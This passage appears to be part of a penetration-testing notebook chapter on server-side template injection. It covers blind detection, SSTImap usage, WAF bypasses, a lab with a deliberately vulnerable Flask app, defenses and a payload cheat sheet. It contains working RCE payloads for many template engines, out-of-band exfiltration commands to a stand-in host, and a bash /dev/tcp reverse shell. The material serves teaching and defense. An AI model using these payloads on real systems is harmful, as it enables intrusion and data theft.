{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('sleep 10',shell=True) }}

<#-- Freemarker time-based via Execute -->
${ "freemarker.template.utility.Execute"?new()("sleep 10") }

<%= sleep(10) %>

If the response reliably takes ~10s with sleep 10 and ~0s with sleep 0, evaluation is confirmed blind.

10.2 Out-of-band (OOB / OAST) confirmation and exfiltration

Make the server contact a collaborator host you control (Burp Collaborator, interactsh), which proves execution and can carry stolen data in the subdomain:

{# DNS/HTTP callback via os.popen curl/nslookup #}
{{ lipsum.__globals__.os.popen('curl http://$(whoami).oob.example.com').read() }}
{{ lipsum.__globals__.os.popen('nslookup `id|base64`.oob.example.com').read() }}

${ "freemarker.template.utility.Execute"?new()("curl http://oob.example.com/`hostname`") }

A DNS lookup arriving for www-data.oob.example.com both confirms RCE and leaks the username. For data exfiltration, base64-encode command output into the subdomain (as in the command-injection chapter) to survive DNS’s character constraints.

sequenceDiagram
    participant A as Attacker
    participant T as Target (template engine)
    participant C as Collaborator/interactsh
    A->>T: name={{ os.popen('curl http://x.oob...').read() }}
    T->>T: render() evaluates -> shell runs curl
    T->>C: DNS/HTTP callback (carries whoami)
    C-->>A: "interaction from www-data.oob..."
    Note over A,C: OOB proves blind RCE + leaks data

10.3 Response-differential (boolean) blind

When neither timing nor OOB is available, use an expression that changes the response between two observable states — an engine that errors on a bad expression but renders cleanly on a valid one gives you a boolean oracle to slowly read data, exactly like blind SQLi.

---

Part 11: Tooling From Zero — tplmap and SSTImap

Manual work finds and proves SSTI; tooling accelerates fingerprinting and exploitation once you are scoped to go loud. The two standard tools are tplmap (the original) and SSTImap (a maintained fork/successor). Learn them from scratch.

11.1 What tplmap / SSTImap are

Both are Python command-line tools that automate SSTI the way sqlmap automates SQLi: they inject a battery of probes across many engines, fingerprint which one evaluates, and then offer capabilities — code evaluation, OS command execution, a pseudo-shell, file read/write, and even a bind/reverse TCP shell — for the engines they support (Jinja2, Twig, Freemarker, Velocity, Mako, Smarty, Tornado, and more).

11.2 Install on Kali

# SSTImap (actively maintained successor)
sudo apt update && sudo apt install -y python3 python3-pip git
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py --help

# tplmap (original, for reference)
git clone https://github.com/epinna/tplmap
cd tplmap
pip3 install -r requirements.txt
python3 tplmap.py --help

11.3 Core workflow and the flags that matter

# 1) Detect + fingerprint a GET parameter
python3 sstimap.py -u "https://target.tld/greet?name=John"
#   -u   target URL (mark the injectable param by including it in the query)
#   Tool auto-tests engines and reports e.g. "Jinja2 (Python) — code eval, OS cmd"

# 2) Get an interactive OS command shell once an engine is confirmed
python3 sstimap.py -u "https://target.tld/greet?name=John" --os-shell
#   --os-shell   drops you into an interactive command prompt on the target

# 3) Run a single command (scriptable, less noisy than a full shell)
python3 sstimap.py -u "https://target.tld/greet?name=John" --os-cmd "id"

# 4) POST body / specific parameter / headers
python3 sstimap.py -u "https://target.tld/greet" \
    --method POST --data "name=John&city=X" --marker name
#   --data    request body; --marker/-p selects which parameter to fuzz

# 5) Through Burp for visibility, with a custom header/cookie and a level bump
python3 sstimap.py -u "https://target.tld/greet?name=John" \
    --proxy http://127.0.0.1:8080 \
    -H "Cookie: session=abc" \
    --level 5
#   --proxy   route via Burp to watch every payload
#   -H        add headers (auth/cookies) so you test authenticated surface
#   --level   how aggressive/obfuscated the probes are (higher = more, slower)

Realistic annotated output for step 1:

[+] Tplmap/SSTImap ...
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+]   SSTImap identified the following injection point:
        Query parameter: name
        Engine:          Jinja2
        Injection:       {{*}}
        Context:         text
        Capabilities:
          Shell command execution: ok
          Bind and reverse shell:  ok
          File write:              ok
          File read:               ok
          Code evaluation:         ok, python code

11.4 When to reach for tooling vs stay manual

Bug bounty angle: on a bounty target, run the detection stage through Burp to keep it quiet, confirm the engine, then prove impact with one hand-crafted minimal payload (id / config leak). Do not fire --os-shell or --reverse-shell at a production bounty asset — automated exploitation is loud, can be destructive, and frequently violates program rules. On an authorised internal pentest where RCE is in scope, --os-shell is a fast, legitimate way to demonstrate full impact.

---

Part 12: WAF and Filter Bypasses

Real targets often sit behind a WAF or an application denylist that blocks obvious tokens (__class__, os, system, {{). Bypasses fall into a few reliable categories.

12.1 Delimiter and whitespace tricks

• Alternate statement syntax: if {{ }} is filtered, {% ... %} blocks may not be. In Jinja2 you can execute via {% ... %}:

{% set x = cycler.__init__.__globals__.os.popen('id').read() %}{{ x }}
{% print(cycler.__init__.__globals__.os.popen('id').read()) %}   {# newer Jinja print stmt #}

• Inject newlines/tabs inside expressions where the parser tolerates them; some WAFs match on exact substrings that whitespace breaks up.

12.2 String construction to avoid literals

# Avoid the literal 'os'
{{ lipsum.__globals__['o''s'] }}                 # adjacent string literals
{{ lipsum.__globals__['o'~'s'] }}                # ~ is Jinja string concat
{{ lipsum.__globals__[['o','s']|join] }}         # join a list into 'os'

# Avoid the literal '__class__' via attr + format
{{ ()|attr('__%s__'|format('class')) }}
{{ ()|attr(['_','_','class','_','_']|join) }}

12.3 Encoding and char-code construction

# Build a char from its code point to dodge a blocked character
{{ ''|attr((dict(cla=1,ss=2)|list|join)) }}      # 'class' from dict keys
{{ request|attr('application')|attr(...) }}       # walk via request when literals blocked

# Hex/unicode in the transport layer: URL-encode, double-encode, or
# use unicode escapes the WAF normalises differently than the app

12.4 A bypass matrix

Blocked token	Bypass technique	Example
{{	Use {% %} statements	{% print(...) %}
. (attribute dot)	`	attr()filter /[ ]` bracket
_ / __	build via concat/format/join	`‘%s’
os	string concat / join	`[‘o’,‘s’]
__class__ literal	dict-keys / list-join	`(dict(cla=1,ss=2)
system/popen	reach via __builtins__/__import__	__import__('os').popen
whole word list	mix encodings (URL/double-URL/unicode)	transport-layer evasion

Blue team usage: because attackers will obfuscate, do not build detection on literal __class__/{{7*7}} strings alone. Detect on behaviour (Part 14): a web process spawning a shell, unexpected outbound DNS/HTTP, and template-engine error signatures. Signature-only WAF rules are trivially bypassed by the concat/format tricks above.

---

Part 13: Hands-On Lab — Flask/Jinja2 SSTI, Detection to Reverse Shell

This lab is fully reproducible on your own machine. It builds a deliberately vulnerable Flask app, then walks detection, fingerprinting, config leak, RCE, and a scope-permitting reverse shell — mirroring a real engagement end to end. Run this only on your own lab host.

13.1 Stand up the vulnerable target

# On your Kali/lab box
pip3 install flask --break-system-packages 2>/dev/null || pip3 install flask
mkdir -p ~/ssti-lab && cd ~/ssti-lab
cat > app.py <<'PY'
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "guest")
    # VULNERABLE: user input concatenated into template source
    tmpl = "<h1>Hello " + name + "!</h1>"
    return render_template_string(tmpl)

app.config["SECRET_KEY"] = "super-secret-lab-key-do-not-ship"
app.run(host="127.0.0.1", port=5000, debug=False)
PY
python3 app.py &
sleep 1

13.2 Detect and fingerprint

# Baseline
curl -s "http://127.0.0.1:5000/?name=John"
# <h1>Hello John!</h1>

# Arithmetic oracle
curl -s "http://127.0.0.1:5000/?name=%7B%7B7*7%7D%7D"       # {{7*7}}
# <h1>Hello 49!</h1>              <-- SSTI confirmed

# Engine differential
curl -s "http://127.0.0.1:5000/?name=%7B%7B7*%277%27%7D%7D" # {{7*'7'}}
# <h1>Hello 7777777!</h1>        <-- Jinja2 (Python), not Twig

13.3 Leak the Flask config (SECRET_KEY)

curl -s "http://127.0.0.1:5000/?name=%7B%7Bconfig.items()%7D%7D"   # {{config.items()}}
# <h1>Hello dict_items([('DEBUG', False), ('SECRET_KEY',
#     'super-secret-lab-key-do-not-ship'), ...])!</h1>

That single request would, on a real target, let you forge session cookies with the leaked SECRET_KEY — often a critical finding on its own.

13.4 Achieve RCE (minimal proof)

# Modern index-free payload: {{ lipsum.__globals__.os.popen('id').read() }}
curl -s "http://127.0.0.1:5000/?name=%7B%7B%20lipsum.__globals__.os.popen('id').read()%20%7D%7D"
# <h1>Hello uid=1000(kali) gid=1000(kali) groups=1000(kali)
# !</h1>

RCE proven with a harmless id. On a bounty, stop here and report.

13.5 Reverse shell (only if scope permits)

# Listener on the attacker box
nc -lvnp 4444 &

# Payload URL-encodes a bash reverse shell run via os.popen
# {{ lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"').read() }}
PAYLOAD='{{ lipsum.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/127.0.0.1/4444 0>&1\"").read() }}'
curl -s "http://127.0.0.1:5000/" --get --data-urlencode "name=$PAYLOAD"
# The nc listener now has an interactive shell as the app user.

flowchart LR
    A[name=John] --> B[{{7*7}} -> 49: SSTI]
    B --> C[{{7*'7'}} -> 7777777: Jinja2]
    C --> D[{{config.items}}: SECRET_KEY leak]
    D --> E[{{lipsum...os.popen id}}: RCE proof]
    E --> F[reverse shell if in scope]

13.6 Fix it and re-test

# SAFE version — pass user data as CONTEXT, never as template source
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get("name", "guest")
    # name is a VALUE bound to {{ name }}, not part of the source
    return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)

Re-running ?name={{7*7}} now renders the literal Hello {{7*7}}! (auto-escaped) — no evaluation, because name is data. This one change is the core defensive lesson of the chapter.

---

Part 14: Detection & Defense Angle

This is the consolidated defensive section. SSTI defense operates at three layers: prevent the sink, contain the engine, and detect the exploitation.

14.1 Prevent the sink (the only real fix)

• Never build template source from user input. Pass user data exclusively as context variables bound to a static, developer-authored template. The Part 13.6 fix is the canonical pattern: render_template_string("<h1>Hello {{ name }}!</h1>", name=name), never render_template_string("<h1>Hello " + name + "</h1>").
• Do not expose render_template_string-style APIs to user data at all unless the feature genuinely requires user-authored templates — and if it does, treat it as an interpreter you are handing to attackers.
• Static analysis / grep in CI: flag render_template_string, Template( on tainted strings, render inline: (Rails), new Template( (Freemarker) with non-constant arguments, and any string concatenation feeding a template constructor.

14.2 Contain the engine (defense in depth)

• Prefer logic-less engines for user-facing templating: Mustache, Handlebars (without helpers that reintroduce power), Liquid, or Django’s restricted template language. They forbid arbitrary method calls and expression evaluation, so even an injection has a far lower ceiling.
• Use the engine sandbox where one exists: Jinja2 SandboxedEnvironment, Twig with the default (no _self, no dangerous filters), Freemarker with newBuiltinClassResolver set to deny new/api and a restrictive TemplateClassResolver. Understand a sandbox is containment, not a guarantee — history shows escapes — so it complements, not replaces, preventing the sink.
• Run the app as an unprivileged user, in a container with a read-only filesystem and egress filtering, so that even successful RCE is minimally useful and OOB callbacks are blocked.

14.3 Detect the exploitation

Signature detection on payload strings is bypassable (Part 12), so anchor detection in behaviour:

Signal	Where	Why it fires on SSTI
Web/app process spawns a shell (sh,bash,cmd) or id/whoami/curl/nc	EDR / auditd execve / Sysmon EID 1	RCE via engine reaches the OS
Unexpected outbound DNS/HTTP from the app process to unknown domains	egress logs / Sysmon EID 3	OOB confirmation & exfil (Part 10)
Template-engine error signatures in logs	app logs	jinja2.exceptions, Twig\Error, FreeMarker template error, SecurityError from breakage probes
Request params containing {{,${,<%=,#{,T(java.lang.Runtime),__class__,__subclasses__,_self.env,freemarker.template.utility	WAF / request logging	high-signal SSTI probe/exploit tokens
Sandbox SecurityError/SecurityViolation spikes	app logs	someone is running standard escape payloads against a sandbox

IR use case: on a suspected SSTI compromise, pivot from the app-process execve events back to the exact HTTP request (correlate by timestamp/PID) to recover the payload, then grep historical request logs for the same tokens to scope how long the injectable field was abused and whether the SECRET_KEY/config was leaked (which would require secret rotation and session invalidation).

• Nuclei / Nessus: template-based scanners ship SSTI detection templates (arithmetic-oracle reflections per engine). Running Nuclei’s ssti tag against your own estate is a cheap way to catch regressions — but validate hits manually, since reflected 49 can be a false positive.

---

Part 15: Real-World Cases and CVEs

SSTI is not academic — it has produced critical, widely exploited vulnerabilities:

• Atlassian Confluence — CVE-2015-8399 / OGNL and later template/OGNL injections: Confluence’s macro and Velocity/OGNL surfaces produced multiple RCE chains over the years; the Velocity/OGNL injection pattern is a close cousin of classic SSTI.
• Apache Struts OGNL (CVE-2017-5638 and siblings): while OGNL is an expression language rather than a page template, the exploitation mindset — untrusted input reaching an expression evaluator that reaches Runtime.exec — is identical to Java SSTI, and %{...} OGNL payloads mirror ${...} template payloads.
• Freemarker in enterprise apps / Alfresco / Liferay: the freemarker.template.utility.Execute gadget has driven real RCEs where a user-editable Freemarker template or an injectable ${} reached the engine unhardened.
• Craft CMS / October CMS (Twig) RCE chains: Twig SSTI in CMS field rendering has produced documented RCE, using the _self.env / filter-callback gadgets in Part 7.
• Shopify/e-commerce Liquid injections: typically limited (Liquid is logic-less), most often information disclosure of internal objects rather than RCE — a good example of engine choice capping impact.
• Numerous bug-bounty disclosures on HackerOne/Bugcrowd: SSTI in “custom email template”, “display name”, and “PDF export” features across SaaS products, frequently escalating from {{7*7}} to full RCE and rated critical.

The through-line: impact is governed by engine power and hardening, and the entry point is almost always a “let users template something” feature or an accidental concatenation into source.

---

Part 16: Common Pitfalls

• Testing only {{ }}. If {{7*7}} does nothing, the engine may use ${ }, #{ }, <%= %>, or { }. Fire the polyglot before concluding “not vulnerable”.
• Using {{49}} or {{7+7}}. These can render 49/14 without proving evaluation (echo or coincidence). Use a product like 7*7 or 1337*1337.
• Reading the browser view instead of raw bytes. Escaping and DOM rendering can hide or mangle the marker; always check the raw HTTP response.
• Assuming SSTI = XSS. Confusing client-side reflection with server-side evaluation leads to wrong (low) severity. Confirm the server computed the value.
• Hardcoding __subclasses__() indices. They shift across Python versions; use index-free payloads (lipsum/cycler) or find the index dynamically.
• Firing --os-shell/reverse shells at production bounty targets. Loud, potentially destructive, and often against program rules. Prove with id/config leak and stop.
• Confusing the engine sandbox with an app WAF. A SecurityError means a real sandbox (hard); a blocked literal means a denylist (bypass with concat/format). Diagnose which you face.
• Over-exfiltrating. Dumping /etc/shadow or customer data to prove a point is unnecessary and harmful — a redacted id/hostname/SECRET_KEY-present screenshot is sufficient.

---

Part 17: Final Revision / Summary

• SSTI is data-as-code at the template layer. It happens only when user input reaches the template source (compiled as code), not when it is merely a context value (rendered as data).
• Detect with the arithmetic oracle: {{7*7}} to 49 proves server-side evaluation; a polyglot covers all delimiter families; read raw bytes; unusual products avoid false positives.
• Fingerprint with differentials: {{7*'7'}} gives 7777777 on Jinja2 (Python) vs 49 on Twig (PHP); ${ } families split into Freemarker/Velocity/Thymeleaf by their reflection/utility primitives; version leaks like {$smarty.version} and {{config}} confirm and date the engine.
• Escalate per engine: Jinja2 via lipsum/cycler globals or MRO/__subclasses__; Twig via map('system')/_self.env; Freemarker via Execute; Velocity via Runtime reflection; Thymeleaf via SpEL T(java.lang.Runtime); Node via child_process; Ruby ERB via backticks.
• Blind SSTI is confirmed with time (sleep) and OOB DNS/HTTP callbacks, exactly like blind command injection.
• Tooling (tplmap/SSTImap) automates detection and exploitation; use detection quietly on bounties and full exploitation only on authorised pentests.
• Bypass WAFs with alternate delimiters ({% %}), attribute/bracket access, and string construction (concat/format/join) — so defenders must detect on behaviour, not signatures.
• Defense is: never build template source from input (pass context vars to static templates), prefer logic-less engines, sandbox where possible, least-privilege + egress-filter the app, and detect via process-spawn/outbound-callback/error telemetry.

---

Part 18: Cheat Sheet / Quick Reference

Detection (fire in order):

${{<%[%'"}}%\        # breakage polyglot -> 500 / stack trace = SSTI + engine leak
{{7*7}}   ${7*7}   #{7*7}   <%= 7*7 %>   {7*7}   #set($x=7*7)$x   # arithmetic per family
{{1337*1337}} -> 1787569    # confirm (no coincidence)

Fingerprint differentials:

{{7*'7'}}  -> 7777777  Jinja2 (Python)
{{7*'7'}}  -> 49       Twig (PHP)
{{ _self }}            Twig confirm
{{ config }}           Flask/Jinja2 confirm + SECRET_KEY leak
{$smarty.version}      Smarty version
${...Execute...?new()} Freemarker confirm
#set(...)$x            Velocity confirm
T(java.lang.Runtime)   Thymeleaf/SpEL confirm

RCE payloads by engine:

Jinja2:     {{ lipsum.__globals__.os.popen('id').read() }}
            {{ cycler.__init__.__globals__.os.popen('id').read() }}
Twig:       {{ ['id']|map('system') }}
            {{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
Freemarker: <#assign e="freemarker.template.utility.Execute"?new()>${ e('id') }
Velocity:   #set($e=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$e
Thymeleaf:  __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Nunjucks:   {{ range.constructor("return process.mainModule.require('child_process').execSync('id')")() }}
Pug:        #{ global.process.mainModule.require('child_process').execSync('id') }
ERB:        <%= `id` %>
Smarty:     {system('id')}   or  {php}system('id');{/php}
Mako:       ${ __import__('os').popen('id').read() }

Blind / OOB:

Jinja2 sleep:  {{ cycler.__init__.__globals__.__import__('time').sleep(10) }}
OOB callback:  {{ lipsum.__globals__.os.popen('curl http://$(whoami).oob.example.com').read() }}

WAF bypass (Jinja2):

{% print(cycler.__init__.__globals__.os.popen('id').read()) %}   # avoid {{ }}
{{ ()|attr('__%s__'|format('class')) }}                          # avoid __class__
{{ lipsum.__globals__['o'~'s'].popen('id').read() }}             # avoid literal 'os'

Tooling:

python3 sstimap.py -u "https://t/greet?name=John"                 # detect+fingerprint
python3 sstimap.py -u "https://t/greet?name=John" --os-cmd "id"   # single command
python3 sstimap.py -u "https://t/greet?name=John" --os-shell      # interactive (authorised only)

One-line defense: pass user data as context to a static template (render_template_string("Hello {{ name }}!", name=name)), never concatenate it into template source.

---

Part 19: Practice Labs & Resources

Train this exact skill, not generic “web hacking”:

• PortSwigger Web Security Academy — Server-side template injection labs (free): work the whole track — “Basic SSTI” (ERB), “…without rendering” (blind), “…in an unknown language with a documented exploit” (fingerprint + research), “…with information disclosure via user-supplied objects”, and the code-context and filter-bypass labs. These map one-to-one onto Parts 3, 4, 10, and 12 and are the gold standard for methodical practice.
• TryHackMe: the “SSTI” room and the SSTI tasks inside “OWASP Top 10” / “Injection” rooms walk detection to RCE on a live Jinja2/Twig target.
• HackTheBox: several easy/medium web machines gate on Flask/Jinja2 or Node SSTI as the initial foothold (a “custom greeting”, “profile name”, or “template” feature) — exactly the 13.x flow.
• VulnHub / local labs: build the Part 13 Flask app and also try the Node (Nunjucks/Pug) and Ruby (ERB) equivalents so you internalise the per-engine RCE primitives hands-on.
• SSTImap / tplmap test targets: run SSTImap through Burp against your own vulnerable app with --proxy to watch every probe it emits per engine — the fastest way to learn the fingerprinting matrix by observation rather than memorisation.
• Burp Collaborator / interactsh: stand up an OAST listener and practise blind SSTI confirmation and DNS-based exfiltration until callbacks are second nature.
• HackerOne / Bugcrowd disclosed reports: filter public reports for “SSTI” / “template injection” and study the entry points (“custom email template”, “display name”, “PDF export”) and how reporters proved impact minimally — pattern-matching real reports teaches what a triager expects to see.

Chapter 6 of this notebook continues the “untrusted data reaches a powerful interpreter” theme, moving from template engines into the closely related families of expression-language and object-graph injection (OGNL/SpEL/EL) and the broader server-side injection surface — where the exact instinct you built here, find the interpreter, confirm evaluation, escalate to the host runtime, applies to yet another evaluation engine.